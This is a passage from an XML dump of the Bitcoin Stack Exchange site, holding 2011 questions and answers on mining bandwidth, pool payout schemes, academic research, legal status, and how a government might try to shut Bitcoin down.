&quot;for security reasons&quot;, how can I prove to PhoneCo.in that it's my account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the service is simple. It's convenient. And its security is about comparable to a physical wallet (that can also be lost or stolen).&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-01T12:44:35.303" LastActivityDate="2011-09-01T12:44:35.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="359" PostTypeId="1" AcceptedAnswerId="372" CreationDate="2011-09-01T12:57:37.957" Score="18" ViewCount="1773" Body="&lt;p&gt;Besides “&lt;a href=&quot;http://www.bitcoin.org/bitcoin.pdf&quot;&gt;Bitcoin: A Peer-to-Peer Electronic Cash System&lt;/a&gt;”, which is more like a brief description of the general framework, are there other ‘scientific or research grade’ studies about Bitcoin technology? Can similar &lt;em&gt;decentralized&lt;/em&gt; crypto-currency models be found in the literature?&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="2306" LastEditDate="2013-04-19T22:07:18.267" LastActivityDate="2020-06-27T11:23:03.990" Title="Are there scientific studies related to the Bitcoin technology?" Tags="|academic-research|" AnswerCount="6" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="360" PostTypeId="1" AcceptedAnswerId="361" CreationDate="2011-09-01T13:18:44.197" Score="36" ViewCount="38175" Body="&lt;p&gt;How much bandwidth consumption can I expect per 900 Mhash/s rig (for instance) for both pooled and solo scenarios? I'm looking for a ballpark number for the on going requirements, after the initial blockchain download.&lt;/p&gt;&#xA;" OwnerUserId="134" LastEditorUserId="5406" LastEditDate="2016-01-21T14:08:33.667" LastActivityDate="2016-01-21T14:08:33.667" Title="What are the bandwidth requirements of a mining rig?" Tags="|mining-pools|solo-mining|bandwidth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="361" PostTypeId="2" ParentId="360" CreationDate="2011-09-01T13:29:04.637" Score="34" Body="&lt;p&gt;With pooled mining, at 900Mhash/s, you'll need a new work unit every 3 seconds or so. Each work unit requires about 256 bytes out and about 768 bytes back. So that's 700 bits per second out and about 2,000 bits per second back. Essentially, zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solo mining is a bit harder to estimate. You will need to receive and relay all new blocks as they are discovered, you will need to receive all transactions that are relayed by nodes you connect to. You can heavily limit the number of other nodes you are willing to connect to, but this will impact your stale shares level and may reduce your transaction fee income.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I measured the bandwidth usage of the client with 60 connections (you can drop down to 8 if you want) and made sure my sample included discovering a block. The inbound average bandwidth was 12Kbps (1.50 KB/s) and the average outbound bandwidth was 9Kbps (1.04 KB/s). So that should give you an idea what solo mining would be like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that the bandwidth usage is basically insignificant in both cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For multiple rigs, there is no adjustment in the solo mining cases. All the rigs can be configured to query the single client. The client's bandwidth requirements will be the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there is a change in the pool mining case. When a new block is discovered, each miner will need a new work unit immediately since its existing unit is stale. This happens on average about every 10 minutes. Effectively, increase the bandwidth requirements by .5% for every additional mining rig. Note that if you run more than one instance of the mining program on a rig, count it as more than one rig. (This still assumes the rigs total 900Mhash/s.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-01T14:06:16.510" LastActivityDate="2011-09-01T14:06:16.510" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="363" PostTypeId="2" ParentId="337" CreationDate="2011-09-01T14:35:04.690" Score="7" Body="&lt;p&gt;At the present moment, no country recognizes bitcoin as actual &quot;currency&quot; so the laws for exchanging, buying, selling or trading in bitcoin are exactly as they would be for simply setting up a shop. For legal purposes, pretend bitcoins are any other object, let's say a chair...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set up a web site that exchanges chairs for USD and you sell enough chairs, you'll probably need a business license, it would probably be smart to incorporate your chair-selling business at some point as well. If you &quot;mine&quot; (assemble?) chairs then you have a cost of production and you make a profit. If the profit exceeds some amount which your state/country has established then you must pay taxes on those profits. Transactions which take place using bitcoin are essentially barter transactions: whatever laws would apply if you traded an equally-valued number of chairs for that XBox 360 apply to purchasing it with bitcoins as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I qualify all of this with &quot;at the present moment&quot; because it's all quite likely to change at some point. Bitcoin is only unregulated at the present time because lawmakers are, for the most part, unaware of its presence. Once they become aware, wheels turn slowly but eventually new legalities will inevitably spring up around the bitcoin community. If you intend for your exchange to last for more than a few years it may be worthwhile to set up shop offshore in a country like Panama, where the laws are more favorable to exchanging currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Edit&lt;/strong&gt;: I must also mention that bitcoins &lt;a href=&quot;https://bitcointalk.org/index.php?topic=5627.msg82745#msg82745&quot;&gt;may be recognized as a &quot;value store&quot;&lt;/a&gt; without being recognized as a currency. I am not a lawyer so this should not be taken as legal advice. If you have concerns about the legality of any service you wish to run, you should contact a lawyer - though even this is of questionably little help since at present there is not (to my knowledge) any precedent for just about anything we do with Bitcoin. As with all young technologies, expect legislation to spring up around it and expect things to change soon and often.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-01T15:54:47.437" LastActivityDate="2011-09-01T15:54:47.437" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="364" PostTypeId="2" ParentId="359" CreationDate="2011-09-01T14:47:50.907" Score="9" Body="&lt;p&gt;Bitcoin is a relatively new phenomenon and the peer-review process takes a while, so there is not much out there yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most notable is a network analysis of bitcoin transactions done around the alleged &quot;allinvain&quot; theft earlier this year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://arxiv.org/abs/1107.4524&quot; rel=&quot;nofollow&quot;&gt;http://arxiv.org/abs/1107.4524&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that, there are currently a few articles published in academic journals that focus on bitcoin (as well as pop-sci and pop-compsci articles in various places)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grinberg, Reuben, Bitcoin: An Innovative Alternative Digital Currency (April 21, 2011). Available at SSRN: &lt;a href=&quot;http://ssrn.com/abstract=1817857&quot; rel=&quot;nofollow&quot;&gt;http://ssrn.com/abstract=1817857&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best answer may be to do this in the form of a community wiki where articles published in academic journals can be posted by subject, as if bitcoin survives it will obviously start to receive a lot of attention.&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="11361" LastEditDate="2013-12-24T19:57:19.997" LastActivityDate="2013-12-24T19:57:19.997" CommentCount="1" CommunityOwnedDate="2011-09-01T14:47:50.907" ContentLicense="CC BY-SA 3.0" />
  <row Id="365" PostTypeId="2" ParentId="359" CreationDate="2011-09-01T14:50:34.943" Score="5" Body="&lt;p&gt;Yes, there are studies about decentralized digital currencies. Some of them use ideas very similar to what Bitcoin chose, for instance refer to chapter 2 of &lt;a href=&quot;http://dare.ubn.kun.nl/dspace/handle/2066/40158&quot;&gt;this thesis&lt;/a&gt;. The following Google scholar serarches will give you more reading:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://scholar.google.ca/scholar?q=Decentralized+digital+currencies&amp;amp;hl=en&amp;amp;btnG=Search&amp;amp;as_sdt=1%2C5&amp;amp;as_sdtp=on&quot;&gt;http://scholar.google.ca/scholar?q=Decentralized+digital+currencies&amp;amp;hl=en&amp;amp;btnG=Search&amp;amp;as_sdt=1%2C5&amp;amp;as_sdtp=on&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://scholar.google.ca/scholar?q=related:hCw5g5lkHWcJ:scholar.google.com/&amp;amp;hl=en&amp;amp;as_sdt=0,5&quot;&gt;http://scholar.google.ca/scholar?q=related:hCw5g5lkHWcJ:scholar.google.com/&amp;amp;hl=en&amp;amp;as_sdt=0,5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic premise of a decentralized mint is not a new idea, and has been studied for a while. &lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-09-01T14:50:34.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="366" PostTypeId="1" AcceptedAnswerId="10038" CreationDate="2011-09-01T14:54:12.563" Score="57" ViewCount="9268" Body="&lt;p&gt;Let's say that a government decided to shut down the Bitcoin network. What options would they have to achieve this? Would they need to convince other governments? All governments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's set as a precondition that they were able to scare away all the developers, so the Bitcoin community could not adjust the software.&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="37414" LastEditDate="2018-05-17T20:44:02.947" LastActivityDate="2021-11-09T00:20:40.210" Title="What methods could a government use to shutdown Bitcoin?" Tags="|security|weaknesses|government|community|" AnswerCount="10" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="367" PostTypeId="1" AcceptedAnswerId="369" CreationDate="2011-09-01T15:05:32.950" Score="57" ViewCount="6985" Body="&lt;p&gt;Theoretically, bitcoin's open source nature makes it more resistant to bugs and exploits. However, due to the specialized nature of the code, even many programmers don't fully understand the cryptography pieces. Have any well-regarded cryptography experts done an analysis of the code and published their thoughts anywhere?&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="72" LastEditDate="2011-10-21T15:57:59.580" LastActivityDate="2013-08-24T09:16:08.050" Title="Have any cryptography experts vetted the bitcoin source code?" Tags="|security|cryptography|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="368" PostTypeId="2" ParentId="366" CreationDate="2011-09-01T15:14:30.080" Score="10" Body="&lt;p&gt;My predictions are they cannot close it down, but they can undermine confidence by: accepting anti-Bitcoin law, closing exchanges, closing Bitcoin businesses (according to law), infiltrating Bitcoin client developers, attacking the network (this is very extreme, low probability of happening).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By publicly attacking Bitcoin, they would feel the heat from people. Governments around the world are currently loosing support on every step they make and this would be no exception.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: they CAN close it down by shutting down the internet (most extreme, government would most probably fall as a result)&lt;/p&gt;&#xA;" OwnerUserId="23" LastEditorUserId="23" LastEditDate="2011-09-01T15:32:35.340" LastActivityDate="2011-09-01T15:32:35.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="369" PostTypeId="2" ParentId="367" CreationDate="2011-09-01T15:45:21.357" Score="40" Body="&lt;p&gt;&quot;It looks good to me&quot; tends to make for a pretty boring paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Security expert Dan Kaminsky has given &lt;a href=&quot;http://www.slideshare.net/dakami/black-ops-of-tcpip-2011-black-hat-usa-2011&quot;&gt;talks&lt;/a&gt; and written articles about the Bitcoin system. His two main points are that it cannot scale to the number of transactions a payment processing system needs and that it is not as anonymous as many people think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He also &lt;a href=&quot;https://bitcointalk.org/index.php?topic=34458.0&quot;&gt;wrote&lt;/a&gt;, &quot;As a note, I have a tremendous amount of respect for BitCoin; I count it in the top five most interesting security projects of the decade.  Entire classes of bugs are missing.  But it's just not an anonymous solution, and the devs will say as much.&quot;&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-01T15:45:21.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="370" PostTypeId="1" AcceptedAnswerId="375" CreationDate="2011-09-01T15:48:46.693" Score="18" ViewCount="34614" Body="&lt;p&gt;I usually mine only, when I do stuff using my PC so it is on anyway. So far I used &lt;a href=&quot;http://mining.bitcoin.cz&quot;&gt;Slushs Pool&lt;/a&gt; but they have a score based reward system, which seem to punish casual mining. If a long round ends &gt;15 minutes after leaving the pool (due to shutdown the system) you'll probably get nothing at all. What are better payout models for the casual miner and what pools can be used?&lt;/p&gt;&#xA;" OwnerUserId="91" LastEditorUserId="5406" LastEditDate="2016-01-21T14:25:13.247" LastActivityDate="2016-01-21T14:25:13.247" Title="What is a good mining pool/payout model for infrequent mining?" Tags="|mining-pools|pool-payout-methods|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="371" PostTypeId="2" ParentId="366" CreationDate="2011-09-01T15:52:05.277" Score="48" Body="&lt;p&gt;Honestly, I think the best way for the government to shut down Bitcoin would be as a secret project. Simply construct a VLSI ASIC miner built using 40nm/1Gtransistor technology and build 100,000 of them. Effectively make them appear distributed around the world using VPNs, the bandwidth is low. Then execute frequent 51% attacks on the Bitcoin chain to &quot;unconfirm&quot; transactions to major sites. Confidence in the Bitcoin system would drop to nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another trick would be to switch the miners off and on unpredictably. If done right, this could lead to hours between confirmations at some times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One can imagine the community responding to this in a coordinated way to develop a workaround. But if you assume subversion and interference in that process, such a response could be avoided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, they could also summarily execute anyone found using Bitcoins. It's effective too, but also pretty unlikely.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-01T15:52:05.277" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="372" PostTypeId="2" ParentId="359" CreationDate="2011-09-01T15:59:00.153" Score="2" Body="&lt;p&gt;Let's group all the answers in this Wiki. Suggestions shall be provided in new answers, relevant (voted) ones will be included in this list, sorted by category and publication date.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Distributed currency models&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;[2008] Chapter 2 of Flavio Garcia PhD thesis: “&lt;a href=&quot;http://dare.ubn.kun.nl/dspace/handle/2066/40158&quot; rel=&quot;nofollow&quot;&gt;Formal and Computational Cryptography: Protocols, Hashes and Commitments&lt;/a&gt;”.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Bitcoin studies&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;[2011, Jul] ArXiv paper by F. Reid, M. Harrigan: “&lt;a href=&quot;http://arxiv.org/abs/1107.4524&quot; rel=&quot;nofollow&quot;&gt;An Analysis of Anonymity in the Bitcoin System&lt;/a&gt;”&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="132" LastEditorUserId="46" LastEditDate="2011-09-01T19:04:48.830" LastActivityDate="2011-09-01T19:04:48.830" CommentCount="2" CommunityOwnedDate="2011-09-01T15:59:00.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="373" PostTypeId="2" ParentId="336" CreationDate="2011-09-01T16:01:48.927" Score="111" Body="&lt;p&gt;Adapted from the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=7269.0&quot; rel=&quot;noreferrer&quot;&gt;New to Bitcoin?  Start here!&lt;/a&gt; post on the bitcointalk forums that has received over 250,000 views:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Introduction to Bitcoin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Forget most things you've heard.&lt;/strong&gt;  People discover Bitcoin in a variety of ways, but usually pick up some sort of misconception like &quot;Bitcoin gives free money to people with computers&quot; or &quot;in order to use Bitcoin I have to use a program that wastes electricity for nothing&quot; along the way.  Here is a good summary to help you understand Bitcoin in general, by focusing on &lt;strong&gt;what Bitcoin is&lt;/strong&gt; and &lt;strong&gt;what problem it solves&lt;/strong&gt;.  These two things are not typically well explained on most websites, and it is difficult to appreciate just how effective a technology Bitcoin is until they are understood.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What Bitcoin is:&lt;/strong&gt;  An agreement amongst a community of people to use 21 million secure mathematical tokens--&quot;bitcoins&quot;--as money, like traditional African and Asian societies used the &lt;a href=&quot;http://en.wikipedia.org/wiki/Shell_money&quot; rel=&quot;noreferrer&quot;&gt;money cowry&lt;/a&gt;.  Unlike the money cowry:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/161/how-many-bitcoins-will-there-eventually-be&quot;&gt;there will never be more bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/181/can-bitcoins-be-counterfeited&quot;&gt;they are impossible to counterfeit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/66/will-deflation-destroy-bitcoin&quot;&gt;they can be divided into as small of pieces as you want&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;and they can be transferred instantly across great distances via a digital connection such as the internet.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is accomplished by the use of powerful &lt;a href=&quot;http://en.wikipedia.org/wiki/Cryptography#Modern_cryptography&quot; rel=&quot;noreferrer&quot;&gt;cryptography&lt;/a&gt; many times stronger than that used by banks.  Instead of simply being &quot;sent&quot; coins have to be cryptographically signed over from one entity to another, essentially putting a lock and key on each token so that bitcoins can be securely backed up in multiple places, and so that copying doesn't increase the amount you own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because bitcoins are given their value by the community, they don't need to be accepted by anyone else or backed by any authority to succeed.  They are like a &lt;a href=&quot;http://en.wikipedia.org/wiki/Local_currency&quot; rel=&quot;noreferrer&quot;&gt;local currency&lt;/a&gt; except much, much more effective and local to the whole world.  As an example of how effective the community is at &quot;backing&quot; the bitcoin: on &lt;a href=&quot;http://bitcoincharts.com/charts/mtgoxUSD#rg60zigHourlyzczsg2011-04-04zeg2011-04-08zvztgSzm1g10zm2g25&quot; rel=&quot;noreferrer&quot;&gt;April 4th 2011&lt;/a&gt; 30,000 bitcoins were abruptly sold on the largest Bitcoin exchange, consuming nearly all &quot;buy&quot; offers on the order book and dropping the price by nearly 1/3.  But within a couple of days, the price on the exchange had fully rebounded and bitcoins were again trading at good volumes, with large &quot;buy&quot; offers slowly replacing the ones consumed by the trades.  The ability of such a small economy (there were only 5 million out of the total 21 million bitcoins circulating then, or about 3.75 million USD worth at then-current &lt;a href=&quot;http://bitcoincharts.com/markets/&quot; rel=&quot;noreferrer&quot;&gt;exchange rates&lt;/a&gt;) to absorb such a large sell-off without crashing shows that bitcoins were already working beautifully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What problem Bitcoin solves:&lt;/strong&gt;  Mathematically, the specific implementation of the bitcoin protocol solves the problem of &quot;how to do all of the above &lt;a href=&quot;http://bitcointalk.org/?topic=5141.0&quot; rel=&quot;noreferrer&quot;&gt;without trusting &lt;em&gt;anyone&lt;/em&gt;&lt;/a&gt;&quot;.  If that sounds amazing, it should!  Normally a local currency has to trust all kinds of people for it to be able to work.  So does a national currency.  And in both cases, that trust is often abused.  But with Bitcoin, there's no one person who can abuse the system.  Nobody can print more money, nobody can re-use the coins simply by making a copy, and nobody can use anyone else's coins without having direct access to their keys.  People who break its mathematical &quot;rules&quot; simply end up creating a whole different system incompatible with the first.  As long as these rules are followed by &lt;em&gt;someone&lt;/em&gt;, the only way Bitcoin can fail is for everyone to stop using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This marvelous quality of not having to trust anyone is achieved in two ways.  First, through the use of cutting-edge cryptography.  Cryptography ensures that only the owner of the bitcoins has the authority to spend them.  The cryptography used in Bitcoin is so strong that all the world's online banking would be compromised before Bitcoin would be, and &lt;a href=&quot;http://bitcointalk.org/?topic=191.msg1585#msg1585&quot; rel=&quot;noreferrer&quot;&gt;it can even be upgraded&lt;/a&gt; if that were to start to happen.  It's like if each banknote in your pocket had a 100-digit combination lock on it that couldn't be removed without destroying the bill itself.  Bitcoin is &lt;em&gt;that&lt;/em&gt; secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the second way of securing the system, called the &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_Chain&quot; rel=&quot;noreferrer&quot;&gt;blockchain&lt;/a&gt;, is where the real magic happens.  The blockchain is a &lt;strong&gt;single, authoritative record&lt;/strong&gt; of confirmed transactions which is stored on the peer to peer bitcoin network.  Even with top-notch digital encryption, if there was no central registry to show that certain bitcoins had already been &quot;paid&quot; to someone else, you could sign over the same coins to multiple people in what's called a &lt;a href=&quot;http://en.wikipedia.org/wiki/Double-spending&quot; rel=&quot;noreferrer&quot;&gt;double-spend attack&lt;/a&gt;, like writing cheques for more money than you have in your account.  Normally this is prevented by a central authority, the bank, who keeps track of all the cheques you write and makes sure they don't exceed the amount of money you have.  Even so, most people won't accept a cheque from you unless they really trust you, and the bank has to spend a lot of money physically protecting those central records, whether they are kept in a physical or digital form.  Not to mention, sometimes a bank employee can abuse their position of trust.  And, in traditional banking, the bank itself doesn't have to follow the rules you do--it can &lt;a href=&quot;http://en.wikipedia.org/wiki/Fractional-reserve_banking&quot; rel=&quot;noreferrer&quot;&gt;lend out more money than it actually has&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blockchain fixes all these problems by creating a single master registry of the already-cryptographically-secured bitcoin transfers, verifying them and locking them down in a highly competitive market called &lt;a href=&quot;https://en.bitcoin.it/wiki/How_bitcoin_works#Bitcoin_mining&quot; rel=&quot;noreferrer&quot;&gt;mining&lt;/a&gt;.  In return for this critical role, the Bitcoin community rewards miners with a set amount of bitcoins per block, taken from the original limited quantity on a &lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_inflation#Finite_supply_and_deflation&quot; rel=&quot;noreferrer&quot;&gt;pre-agreed schedule&lt;/a&gt;.  As that original amount gradually runs out, this reward will be replaced by fees paid to prioritise one transaction over another--again in a highly competitive market to ensure the lowest possible cost.  The transactions are verified and locked in by the computational work of mining in a very special way so that &lt;strong&gt;no one else can change the official record of transactions without doing more computational work than the cumulative work of all miners across the whole network&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In conclusion:&lt;/strong&gt;  All this mathematical technology may be a bit of a mouthful, but what it means in practice is that &lt;strong&gt;Bitcoin works just like cash&lt;/strong&gt;.  Bitcoin transactions are intentionally &lt;strong&gt;irreversible&lt;/strong&gt;--unlike credit cards or PayPal where &lt;a href=&quot;http://en.wikipedia.org/wiki/Chargeback&quot; rel=&quot;noreferrer&quot;&gt;chargebacks&lt;/a&gt; can invalidate a payment that has already been made.  And there are &lt;strong&gt;no middlemen&lt;/strong&gt;.  Transactions are completed directly between the sender and the receiver via the peer to peer network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of Bitcoin's intricate design, &lt;strong&gt;the network remains secure no matter where or how you process bitcoin transactions&lt;/strong&gt;.  Which is incredible--no one else has ever tried to create a system that worked this way!  All previous monetary systems have relied on trusting &lt;em&gt;somebody&lt;/em&gt;, whether it was the king, town hall, the federal reserve, or banks.  Bitcoin doesn't.  It's guaranteed instead by the laws of mathematics, and that's why it has everyone from technologists to economists very &lt;a href=&quot;https://en.bitcoin.it/wiki/Press&quot; rel=&quot;noreferrer&quot;&gt;excited&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-12-03T18:29:48.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="374" PostTypeId="2" ParentId="370" CreationDate="2011-09-01T16:03:14.790" Score="3" Body="&lt;p&gt;Flat pay-per-share may be best. These tend to have the highest percentage fees, but the payout is 100% predictable. There are a few PPS pools, such as &lt;a href=&quot;http://www.abcpool.co/&quot; rel=&quot;nofollow&quot;&gt;abcpool.co&lt;/a&gt; and &lt;a href=&quot;http://btcserv.net/&quot; rel=&quot;nofollow&quot;&gt;btcserv.net&lt;/a&gt; with no fee. The only thing they keep are the transaction fees, so your payout per submitted share is 50 divided by the current difficulty.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-01T16:03:14.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="375" PostTypeId="2" ParentId="370" CreationDate="2011-09-01T16:04:50.240" Score="13" Body="&lt;p&gt;There are &lt;a href=&quot;https://en.bitcoin.it/wiki/Pooled_mining#Pooled_mining_approaches&quot;&gt;multiple approaches&lt;/a&gt; to pooled mining, each with its own benefits and detriments. Assuming you are a dedicated miner who does not &lt;a href=&quot;https://bitcointalk.org/index.php?topic=9928.0&quot;&gt;pool hop&lt;/a&gt; then the scenario you describe should be an &quot;edge case&quot; that should rarely if ever occur. That said, common payout schemes include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PPS - Pay Per Share. Each submitted share is worth certain amount of BTC. Since finding a block requires  shares on average, a PPS method with 0% fee would be 50 BTC divided by . It is risky for pool operators, hence the fee is highest.&lt;/li&gt;&#xA;&lt;li&gt;SMPPS - Shared Maximum Pay Per Share. Like Pay Per Share, but never pays more than the pool earns.&lt;/li&gt;&#xA;&lt;li&gt;ESMPPS - Equalized Shared Maximum Pay Per Share. Like SMPPS, but equalizes payments fairly among all those who are owed.&lt;/li&gt;&#xA;&lt;li&gt;CPPSRB - Capped Pay Per Share with Recent Backpay.&lt;/li&gt;&#xA;&lt;li&gt;Prop. - Proportional. When block is found, the reward is distributed among all workers proportionally to how much shares each of them has found.&lt;/li&gt;&#xA;&lt;li&gt;PPLNS - Pay Per Last N Shares. Similar to proportional, but instead of looking at the number of shares in the round, instead looks at the last N shares, regardless of round boundaries.&lt;/li&gt;&#xA;&lt;li&gt;Score - Score based system: a proportional reward, but weighed by time submitted. Each submitted share is worth more in the function of time t since start of current round. For each share score is updated by: score += exp(t/C). This makes later shares worth much more than earlier shares, thus the miner's score quickly diminishes when they stop mining on the pool. Rewards are calculated proportionally to scores (and not to shares). (at slush's pool C=300 seconds, and every hour scores are normalized)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The important factor is that you avoid Proportional payout systems as they are vulnerable to pool-hopping so you will probably lose some portion of your revenues to hoppers on those pools. For your concerns, SMPPS, ESMPPS or PPLNS would be good choices, but there are other factors to consider and it is ultimately up to you to choose a payout scheme and &lt;a href=&quot;https://en.bitcoin.it/wiki/Comparison_of_mining_pools&quot;&gt;pool&lt;/a&gt; that best fits your needs.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-02T15:39:15.383" LastActivityDate="2011-09-02T15:39:15.383" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="376" PostTypeId="1" AcceptedAnswerId="377" CreationDate="2011-09-01T16:05:53.843" Score="12" ViewCount="7574" Body="&lt;p&gt;Considering my PC as a mining rig I don't want to install anything on HD. Setting up a system with full GUI mining capabilites (proprietary drivers, OpenCL, ...) can take some time. An out of the box solution would be nice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any preconfigured OS distributions (maybe Linux) containing all you need to boot and mine without further configurations?&lt;/p&gt;&#xA;" OwnerUserId="91" LastEditorUserId="5406" LastEditDate="2016-01-21T14:24:40.857" LastActivityDate="2019-09-17T16:35:05.140" Title="Are there any Mining OS to be started from USB?" Tags="|mining-setup|miner-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="377" PostTypeId="2" ParentId="376" CreationDate="2011-09-01T16:11:49.403" Score="9" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/LinuxCoin&quot; rel=&quot;nofollow&quot;&gt;LinuxCoin&lt;/a&gt; is probably the closest thing to what you're looking for. According to the wiki, Linuxcoin is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A lightweight Debian-based OS which includes in the image everything&#xA;  that is necessary to run as a Bitcoin client and everything needed to&#xA;  get started mining on ATI hardware.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Edit:&lt;/strong&gt; It may also be worth looking into &lt;a href=&quot;http://aaronwolfe.com/bamt/&quot; rel=&quot;nofollow&quot;&gt;BAMT&lt;/a&gt; if your operation is of significant size&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Update:&lt;/strong&gt; How things change... BAMT is now the de facto mining distro. I'm now having a difficult time even finding a live link to download LinuxCoin from and BAMT has gone from experimental to a full-fledged mining distro usable for nearly any scale. I highly recommend BAMT over LinuxCoin.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-04-22T02:00:49.643" LastActivityDate="2012-04-22T02:00:49.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
